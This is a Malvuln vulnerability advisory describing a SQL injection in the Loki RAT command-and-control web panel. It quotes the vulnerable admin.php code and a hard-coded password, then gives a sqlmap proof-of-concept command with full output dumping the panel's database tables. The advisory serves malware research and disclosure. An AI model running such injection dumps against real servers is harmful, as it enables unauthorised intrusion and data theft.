Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/aabb54951546132e70a8e9f02bf8b5ba_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Loki RAT (Relapse)
Vulnerability: SQL Injection
Description: The LokiRAT WebUI panel for LokiRAT_Relapse.exe runs on PHP and MySQL and is used to control infected hosts through a central server.
The backend server side code "admin.php" does not use any secure coding practices nor does it sanitize or filter user input when constructing MySQL statements.  

Loki admin.php takes four parameter's pass, command, id and type. There's an auth check using $_GET['pass'] against the clear-text password "test" in settings.php.

The $_GET['id'] parameter is used directly in SELECT * FROM vircom WHERE id='$id' statement used in mysql_query() func, making it vulnerable to post-auth SQL Injection.
Authenticated users or third-party attackers who can guess the password can easily dump all databases, tables and contents including the MySQL database schema.

admin.php snippet:

if ($_GET['pass'] == $password) {
  $command = $_REQUEST['command'];
  $id = $_GET['id'];
  $type = $_GET['type'];
 ....

  case "response":
     $query = mysql_query("SELECT * FROM vircom WHERE id='$id'");
     $row = mysql_fetch_array($query);
     echo $row['retCommandNum'] . "{-}" . $row['retCommand'] . "{-}" . $row['lastUpdate'] . "{-}" . $row['updateInterval'];
     break;

Family: Loki
Type: WebUI
MD5: aabb54951546132e70a8e9f02bf8b5ba
MD5: 16c33e28c8c9b3ea71249ad94be4bf94 (admin.php)
Vuln ID: MVID-2022-0510
Disclosure: 03/05/2022

Exploit/PoC:
sqlmap.py -u "http://LOKI-RAT-IP/PHP%20Files/admin.php?pass=test&command=webcam&id=1&type=response" --dbms=MySQL --risk=3 --level=5  --dump

[21:06:25] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 11385 HTTP(s) requests:
...

back-end DBMS: MySQL >= 5.0.12
[21:06:57] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:06:57] [INFO] fetching current database
[21:06:57] [INFO] fetching tables for database: 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 2 entries
[21:06:57] [INFO] retrieved: klcom
[21:06:57] [INFO] retrieved: vircom
[21:06:57] [INFO] fetching columns for table 'vircom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 13 entries
[21:06:57] [INFO] retrieved: "id","varchar(12)"
[21:06:57] [INFO] retrieved: "ipAddress","varchar(15)"
[21:06:57] [INFO] retrieved: "location","varchar(255)"
[21:06:57] [INFO] retrieved: "compName","varchar(30)"
[21:06:57] [INFO] retrieved: "operatingSystem","varchar(100)"
[21:06:57] [INFO] retrieved: "command","text"
[21:06:57] [INFO] retrieved: "retCommand","text"
[21:06:57] [INFO] retrieved: "retCommandNum","int(11)"
[21:06:57] [INFO] retrieved: "lastUpdate","datetime"
[21:06:57] [INFO] retrieved: "updateInterval","int(9)"
[21:06:57] [INFO] retrieved: "ramMemory","varchar(50)"
[21:06:57] [INFO] retrieved: "processor","varchar(255)"
[21:06:57] [INFO] retrieved: "webcam","int(1)"
[21:06:57] [INFO] fetching entries for table 'vircom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 1 entries
[21:06:57] [INFO] analyzing table dump for possible password hashes
Database: lokirat2
Table: vircom
[1 entry]
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+
| id | webcam | command | compName | location     | processor | ramMemory | ipAddress | lastUpdate          | retCommand | retCommandNum | updateInterval | operatingSystem |
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+
| 1  | 1      | melt    | Hate     | New York USA | Intel64   | 15gb      | 10.2.1.3  | 2022-03-05 02:43:34 | doit       | 666           | 0              | Windows         |
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+

[21:06:57] [INFO] table 'lokirat2.vircom' dumped to CSV file 'C:\Users\Victim\.sqlmap\output\127.0.0.1\dump\lokirat2\vircom.csv'
[21:06:57] [INFO] fetching columns for table 'klcom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 3 entries
[21:06:57] [INFO] retrieved: "id","varchar(15)"
[21:06:57] [INFO] retrieved: "kldata","text"
[21:06:57] [INFO] retrieved: "dateTime","datetime"
[21:06:57] [INFO] fetching entries for table 'klcom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 1 entries
[21:06:57] [INFO] analyzing table dump for possible password hashes
Database: lokirat2
Table: klcom
[1 entry]
+----+----------------+---------------------+
| id | kldata         | dateTime            |
+----+----------------+---------------------+
| 1  | KILL PUTIN     | 2022-03-05 02:42:59 |
+----+----------------+---------------------+

[21:06:57] [INFO] table 'lokirat2.klcom' dumped to CSV file 'C:\Users\Victim\.sqlmap\output\127.0.0.1\dump\lokirat2\klcom.csv'
[21:06:57] [INFO] fetched data logged to text files under 'C:\Users\Victim\.sqlmap\output\127.0.0.1'

[*] shutting down at 21:06:57

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